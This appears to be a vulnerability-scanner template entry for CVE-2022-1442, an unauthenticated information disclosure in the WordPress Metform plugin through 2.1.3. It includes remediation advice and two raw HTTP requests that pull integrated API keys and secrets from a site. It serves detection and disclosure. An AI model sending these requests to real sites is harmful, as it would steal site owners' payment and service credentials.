| Title | WordPress Metform <=2.1.3 - Information Disclosure |
|---|---|
| Author | theamanrawat |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to gain sensitive information from the target system. |
| Remediation | Upgrade to the latest version of the Metform plugin (>=2.1.4) to fix the information disclosure vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.84588 |
| CVE ID | CVE-2022-1442 |
| CWE ID | CWE-862 |
| Tags | cve cve2022 wpscan wordpress wp-plugin disclosure unauth metform wp wpmet vuln |
WordPress Metform plugin through 2.1.3 is susceptible to information disclosure due to improper access control in the ~/core/forms/action.php file. An attacker can view all API keys and secrets of integrated third-party APIs such as that of PayPal, Stripe, Mailchimp, Hubspot, HelpScout, reCAPTCHA and many more.
GET /wp-json/metform/v1/forms/templates/0 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /wp-json/metform/v1/forms/get/nkh8zK HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Connection: close
Accept-Encoding: gzip
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